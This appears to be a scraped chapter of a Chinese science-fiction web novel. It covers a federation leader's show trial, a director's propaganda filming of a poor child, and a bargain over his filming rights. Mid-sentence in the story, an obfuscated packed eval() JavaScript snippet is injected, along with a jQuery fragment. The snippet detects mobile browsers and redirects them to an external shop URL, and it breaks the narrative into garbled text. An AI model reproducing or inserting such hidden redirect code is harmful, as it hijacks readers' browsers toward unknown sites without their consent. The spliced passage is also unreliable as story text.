E0200·0420
咚!
咚!
咚!
“我无罪!”
联邦中央最高法院迎来了一场特殊的审判。
除了被告身份特殊外,陪审团成员的规格更是一个赛一个高。
比如各州派来的代表人物,他们坐在这里如坐针毡,时不时就用袖子擦去额头的冷汗。
在一片凄风苦雨中,联邦那位远近闻名的花瓶总理坐在陪审席第一排,不停地用手帕抹着好不容易挤出来的眼泪。
此时他的秘书贴心地问他是否需要来杯香槟。
正伤心的总理婉拒了。
“你们没有资格审判我!”
法庭中央,被告声嘶力竭地控诉着自己的不公。
在场诸位听了一个个也是神色戚戚,阴沉着脸,不敢直视中央那位呐喊的“罪人”。
沉重的镣铐锁不住他的愤怒,死寂的法庭回荡着镣铐的撞击声。
“顾徽辰,我***”
“快快快,让他闭嘴!电击也行。”被告前面的长篇大论他们可以装作没听见,但他辱骂顶头上司可不能装作听不见,不然他们的前途和全家就要飞走了。
“顾……呜呜呜!贱人!你篡改历史,敢做不敢当……咳咳咳!为什么当初死得不是你!”
“唔唔唔唔唔!放——开——我!你们这群墙头草……我死了——下一个就是你们了!”
爱美的总理拿出小镜子,对着整理了一下自己的发型。他接过秘书手里的香槟,一饮而尽。
“带下去吧。”
“是。”
接到命令的警卫拖拽物品一样拽着被告的脑袋把他从席位上拔起来,被告双手用力扣住椅子,整个人被拽起离开地面。
陪审团中胆子小的纷纷捂住嘴。
审判庭的光可照人的实木地板上,血迹滴滴答答蔓延到大门口。
疯了!真是疯了!现在整个联邦还有人能管得住顾徽辰这位独裁的暴君吗!
说定罪就定罪!说杀人就杀人!这天底下还有王法吗!
还什么皿煮自由,自从上上次隔壁帝国那位皇帝陛下来访后,顾徽辰就跟被仙人指路一样,借着随后到来的危机大肆扩军,收回地方自主权,威逼法院修改宪法,换血国会议员,一通操作下来。
嘿,联邦出了个皇帝!
各州代表互相搀扶着走出法院,面上一派和睦,背地里各怀鬼胎。
奇怪的是他们分明没做过多的交流,却默契地在离开时回头看着法院上高挂着的和平鸽徽章,发出一声微不可察的叹息。
*
“长官,埃蒂安·瓦卢瓦来报。”
“都说让你们称呼我副部长了,下次记得。哦?这次竟然是纸质版的?”叶卡捷琳娜·米哈伊洛娃从工作中抬起头来,一眼看到了属下怀里的那个包裹。
属下被她看得心里一紧,吸气收腹并上脚行了个军礼:“遵命,副部长!瓦卢瓦导演说电子版已经发到您的邮箱了,不过他建议说您最好看一看‘实体’的。他还说,本次庆典的效果,可能要远远超出您和总理的预期。”
“瓦卢瓦那小子就一张嘴会吹,信他不如信元首复活。”叶卡捷琳娜嘴上这么说,实际上心里对那个包裹产生了浓厚的兴趣,“行了,你下去吧。”
属下告退后,叶卡捷琳娜迫不及待开始拆包裹。
她动作大胆利落,一点不怕里面藏着个“惊喜”。
当然这不是因为联邦对官僚和平友爱的传统,而是因为她有着数次和炸弹等小玩意亲密接触的经验,稍微次一点“惊喜”已经对她造不成伤害了。
这也是顾徽辰把她从舰队调到□□的主要原因。
皮厚,耐炸。
扛得住联邦文化人对总统大人篡改历史的不满。
“乌拉!”
迎面被神图暴击的叶卡捷琳娜发出一声慨叹。
“瓦卢瓦这小子真讲义气,有好东西真给我送。”
叶卡捷琳娜津津有味看着一张张照片,一段段视频。
等到场景中没了那个黑发黑眼的孩子,她索然无味手动跳过,一路翻翻,她翻到包裹最底下。
那里压着一封埃蒂安·瓦卢瓦的手写信。
这位大导演在信中用一种狂热的口吻讲述着绯羽星联邦辖区内儿童节的盛况,很是拍了一番叶卡捷琳娜和总理的马屁。
他还吹嘘只有联邦有这么体恤民情的领导,花钱给人民过节。
只字不提花的钱是哪来的,不明真相的人看到他这情深意切的一番话,估计真的以为这钱是政府从自己身上割下来的呢。
天底下哪有这么好的事。
总统为了转移注意,总理为了政绩,各地总督为了向中央示好。
你好我好大家好,普普通通的儿童节就这么众人抬着办了起来。
其中绯羽星作为联邦和帝国共治区域,联邦在此地的投入要远超其他星球,哐哐哐往里砸钱,还请来了诸如埃蒂安·瓦卢瓦这种知名导演来操盘。
埃蒂安·瓦卢瓦又和□□副部长叶卡捷琳娜·米哈伊洛娃是好友。
瓦卢瓦临走前主动向叶卡捷琳娜请求去往绯羽星“反差”最大的地方——也就是最穷最落后的灰羽区。
他坚信,这片贫瘠之地被注入充沛的激情和资金后,结出的的果实一定是最短暂、最甘美、最令人难忘的。
他确实赌对了。
联邦有了充足道德资本可以对忽视落后地方的帝国指指点点。
而他找到了他的缪斯。
一个漂亮聪慧、心思敏感、患有基因病的可怜孩子。
尤其他神奇地和那位失踪的元首有几分相似。
不仅是外貌的相似,更是神态上的迷之相似。
这简直是上天赐给他的青云梯!绘制他灵感和未来的神笔!
瓦卢瓦看到那个孩子的第一眼就恨不得跪下来亲吻那个孩子的脚背,套个麻袋把他装走。
不过没成功。
那孩子的警惕心太强了,还有时刻黏在他身边的姐姐不是很好惹,像头凶猛的狮子一样保护着她柔弱的弟弟。
瓦卢瓦只好迂回一点,打听打听人家缺什么,准备来个雪中送炭。
结果出师未捷,在门口来了个平地摔。
“呀呀呀,原来您是尊敬的埃蒂安·瓦卢瓦导演,失敬失敬。”易禾并没有见到大人物的惶恐,她淡定给瓦卢瓦倒了杯茶,不冷不热问候了一句。
瓦卢瓦端起茶杯就喝,然后他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809789|210793||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的胡子和嘴唇被开水涮熟了:“嘶——这水有点烫啊。”
易禾:?
她尴尬又不失礼貌地微笑:“……抱歉,我们这比较推崇自力更生,茶水您可以放放再喝。”
被烫了的瓦卢瓦爽朗一笑,比了个大拇指:“虽然烫,但是好喝啊,比我在群星之环喝过的那些水好很多了。”
“您有事就直说吧——事先说好,李游需要上学,正常的生活,这孩子他不会离开绯羽星的。”
“那您把我要说的话堵死了,让我怎么说?”
易禾眸光一闪,“作为一名导演,您有没有想过小游的肖像权问题。您在拍摄前后是否征询过他的意见呢?
都没有是吧。你们传播他未打码的照片视频,已经构成侵权了,他可以起诉你们侵权的。”
瓦卢瓦不服:“我将他拍进来是他的荣幸,你信不信我们不用了?”
“不用就不用。”易禾也不带怕的。
李游这孩子确实聪明,早就跟她说清楚了。
他猜测联邦突如其来举办儿童节必然有着某种目的,其中必定有政治宣传,不然他们辛辛苦苦搞那么大阵仗难道是摆着好看的?
只要涉及政治宣传,政府必定会对宣传材料有着较高的质量要求和筛选标准。
BUFF叠满的他压根不带怕的。
要是节日期间没人主动来拍他,他就自己安排人找媒体。
他总会有办法的。
其实埃蒂安·瓦卢瓦这位据说很有名气的导演看到了他的精心准备并且很满意,游琛羽是很意外的。
他其实并不希望发掘自己的人身份很高,这样后续会很麻烦。
埃蒂安·瓦卢瓦要是被气走了更好,现下关注联邦儿童节举办得是否成功的又不止他一个。
易禾毕竟只是个老师,她在瓦卢瓦的认真地猛烈攻势下逐步败下阵来。
换了方风顶上。
这下轮到瓦卢瓦傻眼了。
谁能想到小小一个灰羽区卧虎藏龙。
一个曾经骂过帝国元首和联邦总统的三月金地成员竟然在这安心当个教书先生,还收了个学生,还大有一副重返联邦首都的雄心壮志。
惹不起,真惹不起。
“三个入学名额。”方风伸出三根手指。
瓦卢瓦伸出一根手指,手指上那华丽的宝石戒指坚持不懈地发着光:“还得在市中加上一个易禾老师的职位是吧。”
方风点头。
“瞧,我多体贴。”瓦卢瓦恢复了老不正经的样子,他脸上笑嘻嘻的,眼睛却盯着方风的脸不放,似乎在观察他的表情,“不过你们得保证只有我可以给李游拍摄,其他人,无论出价多高都不可以。”
“可以保证,你放心。需要我发誓吗?”
“好啊,我还没见过三月金地的人怎么发誓的呢。”
方风沉吟片刻,拿出一张准备好的空白纸,一边用钢笔写下承诺,一边说:“我们发誓不用言语,用笔。”
钢笔尖在纸上行云流水,写下的字符端正圆润,自成风韵。
方风写完,捋平纸上的褶皱,习惯性地朝纸张吹了吹,用双手拈起纸递给瓦卢瓦。
“给你。”
“合作愉快,大作家。”